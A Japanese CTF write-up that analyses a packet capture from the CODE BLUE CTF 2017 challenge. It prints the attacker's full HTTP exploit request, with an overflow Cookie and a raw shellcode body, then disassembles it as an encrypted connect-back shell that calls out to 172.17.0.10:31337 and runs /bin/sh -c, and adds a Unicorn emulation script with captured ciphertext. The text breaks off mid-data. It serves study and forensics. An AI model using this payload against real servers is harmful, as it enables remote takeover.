チーム Harekaze で CODE BLUE CTF 2017 に参加しました。最終的にチームで 1480 点を獲得し、順位は得点 555 チーム中 17 位でした。うち、私は 3 問を解いて 955 点を入れました。
以下、解いた問題の write-up です。
log.pcap
という pcap ファイルが与えられました。
172.17.0.2:80
で Apache が動いているようで、様々な IP アドレスから勤怠管理を行っているっぽい Web アプリケーション (/cgi-bin/index.cgi
) にアクセスがあります。
私が問題を見た時点で、@_ak1t0 さんが 172.17.0.10
から以下のような HTTP リクエストが送られているのを見つけていました。
GET /cgi-bin/index.cgi HTTP/1.1
Host: 172.17.0.2
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Cookie: sessid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%00`%20`%00%00%00%00%00%0a%00%00%00%00%00%00%00%00!`%00%00%00%00%00%00%00%00%00%00%00%00%000%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00J%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%00%00!`%00%00%00%00%00%07%00%00%00%00%00%00%00%00%10%00%00%00%00%00%00%00%20`%00%00%00%00%000%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00J%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%00`%20`%00%00%00%00%00%07%04%00%00%00%00%00%00%00!`%00%00%00%00%00%00%00%00%00%00%00%00%000%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00!`%00%00%00%00%00
Content-Length: 1041
F @............H1....H1.H.....H.........H.........H.. ...I.....H.........H..!......H..)......H..*......H..9......H..;......H..<.....H..=...I.....f........USH..H./dev/ura1.H...H..H..$.D$.ndom.D$...V...H..... ......6......H...H...[].....G...........1...D..H...H=....u.1.1...@.D..D..H.....E..D...D.......D..L..H..D.L..H...D.D..H=....u...f.f.........H..L...tG..........W...........L........W.D..L..D.L...L...L.......D..0.H...I9.u.....@.f.........AWAV1.AUAT.!...USH......H..$....H.D$`....H.D$h....H.D$p....H.D$x....H..H.D$P....H.D$X.....H..L...........1................H.\$`H.t$P......zi..f.T$P.......f.L$RA...D$T...
L.t$@.....H...$.... ...H..D.......H..H...Y...E1.A......".............1......H..H.D$0H.D$.H.D$ H.D$.H..$....H.D$.f..D.......H..D...%...H........H=....t.....H..H..H...M...H.|$..(....K.....A..tg.|$4...... ..@.H..H..H.......L..H..D........|$0.....H.......H..I..u..|$0.....H.t$.1.1.D........T.....@.H./bin/sh.1..D$".H.D$@.-c..L..$....f.D$ H.D$.H..$....H..$........H..$.....P....|$0.G....|$4......Z...H.t$.1.L...s...............1..j...
この HTTP リクエストの後で 172.17.0.2:50306
と 172.17.0.10:31337
と暗号化された通信を行っています。
HTTP リクエストボディはシェルコードでしょうか。H
が頻出していること、また /dev/urandom
が /dev/ura
ndom
の 2 つに分割されていることから、x86_64 の connect-back なシェルコードであると判断しました。
objdump
で逆アセンブルしてみましょう。
156.bin: file format binary
Disassembly of section .data:
0000000000000000 <.data>:
0: 46 09 40 00 rex.RX or DWORD PTR [rax+0x0],r8d
4: 00 00 add BYTE PTR [rax],al
6: 00 00 add BYTE PTR [rax],al
8: 00 00 add BYTE PTR [rax],al
a: e9 ab 01 00 00 jmp 0x1ba
f: 48 31 c0 xor rax,rax
12: 0f 05 syscall
14: c3 ret
15: 48 31 c0 xor rax,rax
18: 48 ff c0 inc rax
1b: 0f 05 syscall
1d: c3 ret
1e: 48 c7 c0 02 00 00 00 mov rax,0x2
25: 0f 05 syscall
27: c3 ret
28: 48 c7 c0 03 00 00 00 mov rax,0x3
2f: 0f 05 syscall
31: c3 ret
32: 48 c7 c0 09 00 00 00 mov rax,0x9
39: 49 89 ca mov r10,rcx
3c: 0f 05 syscall
3e: c3 ret
3f: 48 c7 c0 16 00 00 00 mov rax,0x16
46: 0f 05 syscall
48: c3 ret
49: 48 c7 c0 21 00 00 00 mov rax,0x21
50: 0f 05 syscall
52: c3 ret
53: 48 c7 c0 29 00 00 00 mov rax,0x29
5a: 0f 05 syscall
5c: c3 ret
5d: 48 c7 c0 2a 00 00 00 mov rax,0x2a
64: 0f 05 syscall
66: c3 ret
67: 48 c7 c0 39 00 00 00 mov rax,0x39
6e: 0f 05 syscall
70: c3 ret
71: 48 c7 c0 3b 00 00 00 mov rax,0x3b
78: 0f 05 syscall
7a: c3 ret
7b: 48 c7 c0 3c 00 00 00 mov rax,0x3c
82: 0f 05 syscall
84: 48 c7 c0 3d 00 00 00 mov rax,0x3d
8b: 49 89 ca mov r10,rcx
8e: 0f 05 syscall
90: c3 ret
91: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
98: 00 00
9a: 55 push rbp
9b: 53 push rbx
9c: 48 89 fd mov rbp,rdi
9f: 48 b8 2f 64 65 76 2f movabs rax,0x6172752f7665642f
a6: 75 72 61
a9: 31 f6 xor esi,esi
ab: 48 83 ec 18 sub rsp,0x18
af: 48 89 e7 mov rdi,rsp
b2: 48 89 04 24 mov QWORD PTR [rsp],rax
b6: c7 44 24 08 6e 64 6f mov DWORD PTR [rsp+0x8],0x6d6f646e
bd: 6d
be: c6 44 24 0c 00 mov BYTE PTR [rsp+0xc],0x0
c3: e8 56 ff ff ff call 0x1e
c8: 48 89 ee mov rsi,rbp
cb: 89 c3 mov ebx,eax
cd: ba 20 00 00 00 mov edx,0x20
d2: 89 c7 mov edi,eax
d4: e8 36 ff ff ff call 0xf
d9: 89 df mov edi,ebx
db: e8 48 ff ff ff call 0x28
e0: 48 83 c4 18 add rsp,0x18
e4: 5b pop rbx
e5: 5d pop rbp
e6: c3 ret
e7: 0f 1f 00 nop DWORD PTR [rax]
ea: c7 47 04 00 00 00 00 mov DWORD PTR [rdi+0x4],0x0
f1: c7 07 00 00 00 00 mov DWORD PTR [rdi],0x0
f7: 31 c0 xor eax,eax
f9: 90 nop
fa: 88 44 07 08 mov BYTE PTR [rdi+rax*1+0x8],al
fe: 48 83 c0 01 add rax,0x1
102: 48 3d 00 01 00 00 cmp rax,0x100
108: 75 f0 jne 0xfa
10a: 31 c0 xor eax,eax
10c: 31 d2 xor edx,edx
10e: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
112: 44 0f b6 44 07 08 movzx r8d,BYTE PTR [rdi+rax*1+0x8]
118: 48 89 c1 mov rcx,rax
11b: 83 e1 1f and ecx,0x1f
11e: 45 89 c2 mov r10d,r8d
121: 44 02 14 0e add r10b,BYTE PTR [rsi+rcx*1]
125: 44 89 d1 mov ecx,r10d
128: 01 ca add edx,ecx
12a: 0f b6 ca movzx ecx,dl
12d: 44 0f b6 4c 0f 08 movzx r9d,BYTE PTR [rdi+rcx*1+0x8]
133: 48 89 ca mov rdx,rcx
136: 44 88 4c 07 08 mov BYTE PTR [rdi+rax*1+0x8],r9b
13b: 48 83 c0 01 add rax,0x1
13f: 44 88 44 0f 08 mov BYTE PTR [rdi+rcx*1+0x8],r8b
144: 48 3d 00 01 00 00 cmp rax,0x100
14a: 75 c6 jne 0x112
14c: f3 c3 repz ret
14e: 66 90 xchg ax,ax
150: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
157: 00 00 00
15a: 48 85 d2 test rdx,rdx
15d: 4c 8d 14 16 lea r10,[rsi+rdx*1]
161: 74 47 je 0x1aa
163: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
16a: 8b 07 mov eax,DWORD PTR [rdi]
16c: 8b 57 04 mov edx,DWORD PTR [rdi+0x4]
16f: 83 c0 01 add eax,0x1
172: 0f b6 c0 movzx eax,al
175: 89 07 mov DWORD PTR [rdi],eax
177: 0f b6 4c 07 08 movzx ecx,BYTE PTR [rdi+rax*1+0x8]
17c: 01 ca add edx,ecx
17e: 0f b6 d2 movzx edx,dl
181: 89 57 04 mov DWORD PTR [rdi+0x4],edx
184: 44 0f b6 4c 17 08 movzx r9d,BYTE PTR [rdi+rdx*1+0x8]
18a: 44 88 4c 07 08 mov BYTE PTR [rdi+rax*1+0x8],r9b
18f: 88 4c 17 08 mov BYTE PTR [rdi+rdx*1+0x8],cl
193: 02 4c 07 08 add cl,BYTE PTR [rdi+rax*1+0x8]
197: 0f b6 c9 movzx ecx,cl
19a: 0f b6 44 0f 08 movzx eax,BYTE PTR [rdi+rcx*1+0x8]
19f: 30 06 xor BYTE PTR [rsi],al
1a1: 48 83 c6 01 add rsi,0x1
1a5: 49 39 f2 cmp r10,rsi
1a8: 75 c0 jne 0x16a
1aa: f3 c3 repz ret
1ac: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
1b0: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
1b7: 00 00 00
1ba: 41 57 push r15
1bc: 41 56 push r14
1be: 31 c0 xor eax,eax
1c0: 41 55 push r13
1c2: 41 54 push r12
1c4: b9 21 00 00 00 mov ecx,0x21
1c9: 55 push rbp
1ca: 53 push rbx
1cb: 48 81 ec b8 01 00 00 sub rsp,0x1b8
1d2: 48 8d ac 24 a0 00 00 lea rbp,[rsp+0xa0]
1d9: 00
1da: 48 c7 44 24 60 00 00 mov QWORD PTR [rsp+0x60],0x0
1e1: 00 00
1e3: 48 c7 44 24 68 00 00 mov QWORD PTR [rsp+0x68],0x0
1ea: 00 00
1ec: 48 c7 44 24 70 00 00 mov QWORD PTR [rsp+0x70],0x0
1f3: 00 00
1f5: 48 c7 44 24 78 00 00 mov QWORD PTR [rsp+0x78],0x0
1fc: 00 00
1fe: 48 89 ef mov rdi,rbp
201: 48 c7 44 24 50 00 00 mov QWORD PTR [rsp+0x50],0x0
208: 00 00
20a: 48 c7 44 24 58 00 00 mov QWORD PTR [rsp+0x58],0x0
211: 00 00
213: f3 48 ab rep stos QWORD PTR es:[rdi],rax
216: e8 4c fe ff ff call 0x67
21b: 85 c0 test eax,eax
21d: 0f 85 e7 01 00 00 jne 0x40a
223: 31 d2 xor edx,edx
225: be 01 00 00 00 mov esi,0x1
22a: bf 02 00 00 00 mov edi,0x2
22f: e8 1f fe ff ff call 0x53
234: 48 8d 5c 24 60 lea rbx,[rsp+0x60]
239: 48 8d 74 24 50 lea rsi,[rsp+0x50]
23e: ba 02 00 00 00 mov edx,0x2
243: b9 7a 69 00 00 mov ecx,0x697a
248: 66 89 54 24 50 mov WORD PTR [rsp+0x50],dx
24d: 89 c7 mov edi,eax
24f: ba 10 00 00 00 mov edx,0x10
254: 66 89 4c 24 52 mov WORD PTR [rsp+0x52],cx
259: 41 89 c4 mov r12d,eax
25c: c7 44 24 54 ac 11 00 mov DWORD PTR [rsp+0x54],0xa0011ac
263: 0a
264: 4c 8d 74 24 40 lea r14,[rsp+0x40]
269: e8 ef fd ff ff call 0x5d
26e: 48 89 df mov rdi,rbx
271: e8 24 fe ff ff call 0x9a
276: ba 20 00 00 00 mov edx,0x20
27b: 48 89 de mov rsi,rbx
27e: 44 89 e7 mov edi,r12d
281: e8 8f fd ff ff call 0x15
286: 48 89 de mov rsi,rbx
289: 48 89 ef mov rdi,rbp
28c: e8 59 fe ff ff call 0xea
291: 45 31 c9 xor r9d,r9d
294: 41 b8 ff ff ff ff mov r8d,0xffffffff
29a: b9 22 00 00 00 mov ecx,0x22
29f: ba 03 00 00 00 mov edx,0x3
2a4: be 00 10 00 00 mov esi,0x1000
2a9: 31 ff xor edi,edi
2ab: e8 82 fd ff ff call 0x32
2b0: 48 89 c3 mov rbx,rax
2b3: 48 8d 44 24 30 lea rax,[rsp+0x30]
2b8: 48 89 44 24 08 mov QWORD PTR [rsp+0x8],rax
2bd: 48 8d 44 24 20 lea rax,[rsp+0x20]
2c2: 48 89 44 24 18 mov QWORD PTR [rsp+0x18],rax
2c7: 48 8d 84 24 80 00 00 lea rax,[rsp+0x80]
2ce: 00
2cf: 48 89 44 24 10 mov QWORD PTR [rsp+0x10],rax
2d4: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
2da: ba 00 10 00 00 mov edx,0x1000
2df: 48 89 de mov rsi,rbx
2e2: 44 89 e7 mov edi,r12d
2e5: e8 25 fd ff ff call 0xf
2ea: 48 85 c0 test rax,rax
2ed: 0f 84 17 01 00 00 je 0x40a
2f3: 48 3d 00 10 00 00 cmp rax,0x1000
2f9: 74 04 je 0x2ff
2fb: c6 04 03 00 mov BYTE PTR [rbx+rax*1],0x0
2ff: 48 89 c2 mov rdx,rax
302: 48 89 de mov rsi,rbx
305: 48 89 ef mov rdi,rbp
308: e8 4d fe ff ff call 0x15a
30d: 48 8b 7c 24 08 mov rdi,QWORD PTR [rsp+0x8]
312: e8 28 fd ff ff call 0x3f
317: e8 4b fd ff ff call 0x67
31c: 85 c0 test eax,eax
31e: 41 89 c5 mov r13d,eax
321: 74 67 je 0x38a
323: 8b 7c 24 34 mov edi,DWORD PTR [rsp+0x34]
327: e8 fc fc ff ff call 0x28
32c: eb 20 jmp 0x34e
32e: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
332: 48 89 c2 mov rdx,rax
335: 48 89 de mov rsi,rbx
338: 48 89 ef mov rdi,rbp
33b: e8 1a fe ff ff call 0x15a
340: 4c 89 fa mov rdx,r15
343: 48 89 de mov rsi,rbx
346: 44 89 e7 mov edi,r12d
349: e8 c7 fc ff ff call 0x15
34e: 8b 7c 24 30 mov edi,DWORD PTR [rsp+0x30]
352: ba 00 10 00 00 mov edx,0x1000
357: 48 89 de mov rsi,rbx
35a: e8 b0 fc ff ff call 0xf
35f: 48 85 c0 test rax,rax
362: 49 89 c7 mov r15,rax
365: 75 cb jne 0x332
367: 8b 7c 24 30 mov edi,DWORD PTR [rsp+0x30]
36b: e8 b8 fc ff ff call 0x28
370: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
375: 31 c9 xor ecx,ecx
377: 31 d2 xor edx,edx
379: 44 89 ef mov edi,r13d
37c: e8 03 fd ff ff call 0x84
381: e9 54 ff ff ff jmp 0x2da
386: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
38a: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f6e69622f
391: 73 68 00
394: 31 ff xor edi,edi
396: c6 44 24 22 00 mov BYTE PTR [rsp+0x22],0x0
39b: 48 89 44 24 40 mov QWORD PTR [rsp+0x40],rax
3a0: b8 2d 63 00 00 mov eax,0x632d
3a5: 4c 89 b4 24 80 00 00 mov QWORD PTR [rsp+0x80],r14
3ac: 00
3ad: 66 89 44 24 20 mov WORD PTR [rsp+0x20],ax
3b2: 48 8b 44 24 18 mov rax,QWORD PTR [rsp+0x18]
3b7: 48 89 9c 24 90 00 00 mov QWORD PTR [rsp+0x90],rbx
3be: 00
3bf: 48 c7 84 24 98 00 00 mov QWORD PTR [rsp+0x98],0x0
3c6: 00 00 00 00 00
3cb: 48 89 84 24 88 00 00 mov QWORD PTR [rsp+0x88],rax
3d2: 00
3d3: e8 50 fc ff ff call 0x28
3d8: 8b 7c 24 30 mov edi,DWORD PTR [rsp+0x30]
3dc: e8 47 fc ff ff call 0x28
3e1: 8b 7c 24 34 mov edi,DWORD PTR [rsp+0x34]
3e5: be 01 00 00 00 mov esi,0x1
3ea: e8 5a fc ff ff call 0x49
3ef: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
3f4: 31 d2 xor edx,edx
3f6: 4c 89 f7 mov rdi,r14
3f9: e8 73 fc ff ff call 0x71
3fe: e9 d7 fe ff ff jmp 0x2da
403: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
40a: 31 ff xor edi,edi
40c: e8 6a fc ff ff call 0x7b
どうやらストリーム暗号で暗号化しているようで、0xea が初期化を行う関数、0x15a がキーストリームを生成する関数のようです。
Unicorn でエミュレートしてみましょう。
from unicorn import *
from unicorn.x86_const import *
urandom = '\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda'
encrypted = [
'\x50\xbd',
'\x95\x3b\x7a\xff\xd9\x18\x32\x3a\x33\x28\x32\xe1\x12\xbe\xec\xa9\x46\x30\x7d\x33\x54\xd5\x3c\xbd\xc4\xc1\xcc\x80\x35\x3a\x25\x3d\x88\xbf\x14\x69\xb7\xd1\xf3\x0d\x17\x96\x4c\xb5\x19\x5f\x4c\x7e\x15\xe1\x21\x5b\x5e\x24',
'\x10\xb6\xf8',
'\x48\xc8\x0c\x81\x3a\xce\x27\x92\xd4\xbd\x18\x75\x1b\xbb\xfc\x49\x15',
'\x3c\x18\x14\xac\x38\xa9',
'\x1d\x3d\xb5\x74\xae\x8a\x02\x13\x87\x45\x14\xc1\x9e\x2d\xcf\x51\x32\xc0\xb4\xc6\x15\xdb\x67\x31\x36\x72\x2a\x2a\x2d\xad\x9f\x2f\x91\xf6\x84\xfe\xa8\x9d\x60\x3b\x0f\x9d\x22\x16\x5b\x95\x08\xe0\x8b\x82\x3a\x3c\xad\x69\x85\xb9\x13\xaa\xb1\xf3\xad\xff\x74\x72\xc8\x22\xf0\x86\xd9\x16\x23\x3e\x6c\x1f\xfd\xaa\x5f\x9f\x43\xe1\x9b\xb4\x7c\xcd\xa2\xe9\xfc\xd0\xa8\xcd\xbe\x88\xfb\xa2\x2f\x39\xd0\xcb\x01\x4b\x76\x99\x15\xb7\x43\x83\xf6\xf9\x60\xb7\x50\x45\x9c\x9e\x2c\xa6\x02\x3b\xb1\x98\x55\xb4\x43\x08\x29\x1c\x87\x74\x27\xee\x2d\x5d\x32\x1a\x99\xba\x6b\x6e\x8a\xbc\xd1\x35\x8a\x5d\xf7\x69\x46\xc3\x17\x0a\xe2\x62\xac',
'\xc9\xaf\x42\x66\x76\xee\x77\xa5\xd1\x0c\xa0\xa3\x22\x05\xb3\x02\x77\x25',
'\xc5\x49\x1f\xcb\x60\x22\x9b\x3c\x52\x56\x1f\x98',
'\x9a\xc5\x54\xe8\x17\x6f\x91\x7e\x59\xe2\x84\x01\xdb\x8e\xa0',
'\xbb\x7d\x76\xd7\x68\xed\xfc\x82\xc4\xe6\x9a\x20\x11\x33\xb6\xe2\x8a\x84\xb2\x1d\x28\xa2\xfe\x71\xe3\x8b\x2b\xaf\x4d\xec\x42\x0b\x5a\x61\x7b\xd1\xde\x09\xb4\x0c\x6f\xae\x70\x0b\x84\xee\xf3\x6a\x95\xd5\x60\xb1\x94\x73\x12\x88\xb3\x9d\x6b\x61\x6f\x17\xa9\xa1\xe3\x22\xb1\xf2\x29\x99\x05\x5f\xce\xd5\x01\xbe\x0c\xf2\xe2\xde\x13\x05\x81\x86\x90\xae\xe8\xa1\xe1\x2e\xee\x5a\x36\x4a\xb6\x1a\xed\xd9\xda\x4c\x1e\xa3\xae\x93\x9b\xbd\xef\xa2\x17\xda\x4d\x77\x64\x81\x0f\x87\xcb\x32\x1b\x77\x0b\x78\xfa\xad\x9d\x6f\xd1\x8b\xbd\x2a\x69\x1d\x45\x5c\x31\x92\xda\xe7\x3f\xa4\xe3\x39\x26\x0c\xa5\x7c\x44\xf3\x90\x94\xb7\xb6\xb3\xc4\x37\xa9\xe0\x59\xb7\x4f\xf7\x54\xb1\x16\x8e\x62\xe3\x81\x3d\x9a\xe9\xe8\xed\xac\xcd\x2a\x89\x7d\x72\x95\x97\x81\x9b\xba\x22\xfa\x60\x66\x37\x99\xd0\x45\x17\x9e\x26\x81\xb4\xb3\x0d\x09\x0f\x3f\x9a\xf4\xfc\xf5\xe0\x20\x4c\x33\x21\x6b\x0b\x6c\x15\x34\xd2\xd0\x7a\xa4\xff\xb4\xac\xd3\x9b\x5e\x45\x28\x95\xf6\x1d\xcb\x7b\x23\xee\x9d\x24\x84\xa0\xa5\x1f\x85\xd5\x39\xf9\x99\x7a\x44\xac\x83\x4d\x7c\x30\x64\x15\xa3\x32\xab\x97\xa6\x1a\x96\x3b\x22\xdd\xee\x16\x83\x01\xb1\xe9\x9c\x3a\x0e\xb2\x14\xc1\xb6\xe9\xad\x67\x2b\x01\x4a\xae\xa6\x5f\xe6\xe4\x43\xe9\x93\x9d\x3a\xf0\x40\xc6\x04\x8a\x25\xc3\xa6\xd0\xf8\x17\x11\xbd\xa1\x7c\x32\x2a\x83\x3e\xca\x20\x99\xd4\x21\x88\xa8\xa7\x35\xa4\xd1\x28\x06\x00\x56\xcc\x92\x6f\xab\xc1\xac\x0c\x84\xfe\x2e\x67\xe1\x54\xcc\x62\xe9\xc9\xe3\xff\x79\x15\xa3\x1b\x5f\xaa\xc6\x37\xc9\x04\xe8\x1e\xc4\x69\xae\xe0\xda\xd7\x1b\xdc\x9c\x7d\x74\x8a\xce\xde\x16\x38\x98\xfc\x97\xcf\x1a\x69\x69\x72\x54\xd9\x39\x57\x38\xb4\xeb\x97\x0e\xf9\xc4\x4c\xbe\xfd\x3b\x75\xf2\xfa\x02\x0e\xc8\x36\x72\xa3\xe6\xc7\x78\xfc\xff\xfa\x51\x31\xf4\x29\xec\x15\x24\x1e\x72\x1e\x6e\xfb\x19\xb1\xbf\x35\x31\xfb\xe0\xb8\x32\x1b\x1e\xd3\x5f\xde\xbc\x19\x3b\xc2\x17\xdf\xe3\x2f\x24\x75\x5b\x5c\x7f\xce\x82\x6a\xe5\xae\x65\x14\xa0\x7d\xd1\x44\x4c\x5a\xcf\xb7\xca\x66\xda\x9e\xc1\xb5\x8d\x61\x35\xff\x45\x85\xa0\x6b\x7b\xce\x94\xe8\xe5\x5d\x66\x0b\x29\x7a\xd3\xfd\x6f\x94\x17\xc7\xb4\x1c\x3e\x62\xc2\x58\x9a\x34\x3e\x83\x2c\xf4\xd7\xa7\xa5\xd6\x43\x87\x4f\x43\xd7\xf0\x86\x4a\x48\xb3\xb3\x77\x3d\x4a\x42\xca\x29\x07\x1e\xf3\xf0\x5d\x52\x58\x2a\x7e\xbc\x84\xbc\xac\xeb\xe5\x50\x75\xd3\x3a\xdc\x46\x3f\x9c\xd6\x69\x26\x34\x9c\xe3\x8d\x44\x00\x06\x76\xbf\x3c\x83\x55\x41\x98\x91\xb2\x21\xb4\x73\xda\x47\x33\xd6\x6a\x05\x32\xb2\xdf\x59\x08\xaf\x86\x6c\xf6\x13\xdd\x2a\xe6\xb7\xb2\x74\x8c\x1e\x32\x88\x85\x19\x62\x8e\x6f\x60\xea\x64\xe6\x66\xdf\x5e\x14\x90\x6b\x6b\xb5\x0a\x90\x0c\x25\x05\xa8\xf4\x63\xb8\x5a\x52\xa7\xe3\x83\xd7\x2a\x77\xd6\xed\xa1\xa8\xf2\x93\x9b\xbf\xb8\x9b\x46\xa7\x69\x64\xbc\xbb\xbe\x64\xe5\xe2\x4b\xef\x3a\x29\x75\x7c\x9d\x9d\x10\x28\x41\xf2\xe3\xbe\xdb\xd8\xfd\xbb\x3b\xdf\xdc\xd2\x80\x83\x69\x25\x2b\x5b\x63\x7e\x05\xc4\xe8\x98\x5f\x9e\x80\xa7\x0c\x6c\x2e\x93\x28\x1c\x09\x35\x03\xac\x7b\x84\x6a\x4a\xa1\x7c\x6f\xd1\x5c\x3b\x78\x83\xa1\x9c\xf0\x75\x8b\x28\xdb\x6e\xc3\x7d\xb2\x00\xfa\x36\xb4\x81\xdd\x6d\xc1\xd0\xc2\x9a\xb9\x43\x8f\x63\x9e\xd8\x3f\xf9\x24\x36\x6b\xde\x2f\x48\xcd\xb0\xf1\x90\x71\x38\xc1\x6a\xc9\x9d\xe2\x7e\xfd\x3f\x9b\xdf\x36\x06\x81\xef\x8f\x98\x6e\x50\x10\xcc\xa1\x0f\x35\x49\x81\x48\x53\x6d\x98\xdf\xde\x32\xaf\x9d\x08\x0c\x56\xac\xf7\xc8\xea\x3a\x64\xfa\x6f\x50\x76\x63\xe8\x47\x39\x95\x88\x74\x76\xb8\x50\x70\x38\x06\x59\xe8\x8e\x5e\x0f\xe6\xd2\xca\x6f\xee\x80\x5e\xc4\xe6\x2a\x6c\xe6\xa6\x1d\x09\xe9\x64\x31\xbb\xa0\x8b\xb5\x25\x55\x04\xf7\x17\x58\xea\x7b\xd9\xf1\xf5\x1d\x47\x51\x10\x1a\x22\x95\xe9\x80\x69\xbe\x0b\xf5\x25\xbe\xa5\xb0\x6e\xc3\x7e\xc9\x8c\x2a\xb9\xee\x94\x50\x33\x62\xb6\xc0\x6d\xc7\xa9\xb5\xaa\xeb\x09\x45\x98\x3f\x1b\xe8\x37\x5f\x21\x30\xc0\xb0\xa9\xc5\x7f\xaa\xa9\x55\x93\x42\x67\xe3\x6f\x75\x90\xcf\x86\xa0\xb6\x0f\x3f\xb2\xbe\xa4\x92\x40\x19\x3b\x01\xde\xc9\x2f\x5e\x9d\x09\xa1\x6b\x65\x45\xdc\x85\xd7\x5a\xef\x9a\x7f\x9f\x74\x41\x55\xbb\x02\xdb\x4c\x11\x59\xf9\x1c\xb4\x5b\x74\x80\x1d\xe9\x78\xa1\xb6\x7c\xf1\xe4\x21\x89\x9b\x46\xec\x99\x7f\x72\xac\x02\xc6\x2f\x08\x22\xee\x11\x77\xa4\xd2\x5a\x91\x34\x52\xe2\x4c\x46\xa2\x78\xff\x87\xa0\xe3\x73\x91\x17\x18\x7c\xa8\x92\x2b\x60\xc2\x46\xe7\xa0\x4c\xc9\x63\xbb\x2d\xc7\x25\xeb\x96\xf6\xb4\x5f\xe1\x99\xca\xf2\x90\xcb\x4a\x96\x5d\x5b\xd7\x0d\xaf\x46\x5b\xa6\xc0\x02\x30\x2c\x17\x49\x64\x5c\xa3\x1d\xfd\x45\x16\x1d\x3f\x34\x1e\xab\xd2\x71\xb9\x15\x34\x01\xff\xce\xd0\xa1\x76\x97\x10\xa6\x25\x59\x7a\x76\x42\xe5\x19\x24\x52\x61\x0e\x31\x06\x67\xa7\x45\x3a\x34\xff\x36\xea\xa0\xc9\x4a\xde\x4f\x3e\x95\x99\x5f\x6a\xc9\x88\xb2\xa6\xc4\x3e\xd1\xfb\x0e\x9a\x03\xc6\x0e\x0e\x72\x77\x6c\x70\xe2\x35\x74\x5f\x23\x3c\x05\x1b\x28\xf9\xec\x12\xce\x54\x13\x04\xf5\xdb\x22\xea\x0c\xc0\xc0\x91\xe2\x4f\x27\xba\x17\xf8\xa5\x03\x8a\xe1\x6f\x56\xb4\xcb\xda\x08\x6a\x2d\x46\x1a\x1d\x0f\xbf\xe3\xcf\x5d\x92\xc1\x7c\x05\xa8\x78\x0c\x56\x52\x7f\x77\x54\xd6\x4f\xac\x79\xa0\x3d\x56\xe2\xe8\xf3\xd3\x41\x52\xfa\xd2\x0b\xd0\x60\x60\xc0\xde\x7b\x6e\x9c\x0f\xf4\x8d\x4b\x82\x21\xaf\x5b\xa9\x0b\x4f\xdb\x69\xec\xec\x81\x87\x65\x7a\xa2\x0b\xff\x61\x1c\x5e\x98\xca',
'\xaa\x42\x5a\xa7\xd0\x96\xa9\x35',
'\x62\x99\x64\x48\x89\xfd\x62\x15\xa8\x93\x3b\x28\x65\xce\x6c\xa2\xc0\x38\x80\xc9\xae\x45\xa8\x1f\x6e\xb8\xaa\x81\x08\xe6\x13\x57\xe3\x9b\xa8\xdc\x91\x9a\xff\xbb\x9a\x67\x37\x99\x73\x63\x52\x5c\xfd\xcf\x20\x6c\xd6\x88\xe8\x9a\x2f\xbf\x93\xa8\x5f\xc2\x01\x50\xd4\xd4\xf2\xfb\x96\x67\x35\x99\xdc\x6c\x79\xe8\x3c\xf5\x17\xa8\x28\x80\x66\x51\x14\xa8\x5f\xc5\x02\x5e\x98\x47\x57\x62\x85\x7c\xa4\xbf\x40\xfe\x75\x8c\x55\x96\x26\x89\xa1\x60\x12\x94\x5f\x76\x44\x97\x7a\x0a\x90\x28\xff\x41\x07\x08\x94\x3b\x0e\x61\x83\x73\x20\x96\x6f\xe9\x80\x75\x69\x9a\x31\xf4\xf5\x6a\x65\xa6\x5e\x17\x7b\x74\x5a\xf0\xfa\x3d\x3d\x96\xde\x5a\x81\xae\x6b\x97\xde\xd5\x11\x1c\xd0\x41\xbe\xfb\xae\xb7\x46\x63\x72\xa2\x1e\x67\x35\x4d\xf3\xef\x64\x2a\x78\x97\x89\xd3\x71\xc7\x82\xd1\x42\x58\x08\xbe\x40\x63\xe0\xd8\x90\x3e\x86\x59\x25\xf1\x5c\xf9\x13\xdc\x41\x9c\x95\x1a\xb5\x6c\xf8\xf3\xce\xd0\xad\x88\xfb\xac\xfd\x23\xe2\xe6\x26\x51\xa5\xcb\x23\x85\xcd\xfe\x89\x29\xab\x65\x74\xd1\xc6\x31\xf7\x24\x7b\x1f\xbf\x3c\x50\xa0\xd1\xe8\x13\x4a\xd6\x25\x1c\x44\xfd\x99\xad\xf3\xbe\xe6\x29\xb7\xf1\x94\x12\x52\x3a\xc2\x5a\x24\xef\x64\xc4\xe2\xa2\x78\x2b\x4a\x17\xf6\x5f\x54\x76\x81\xed\x57\xe6\x87\x49\xf2\xdf\x3e\x28\x0d\x6c\xae\x06\x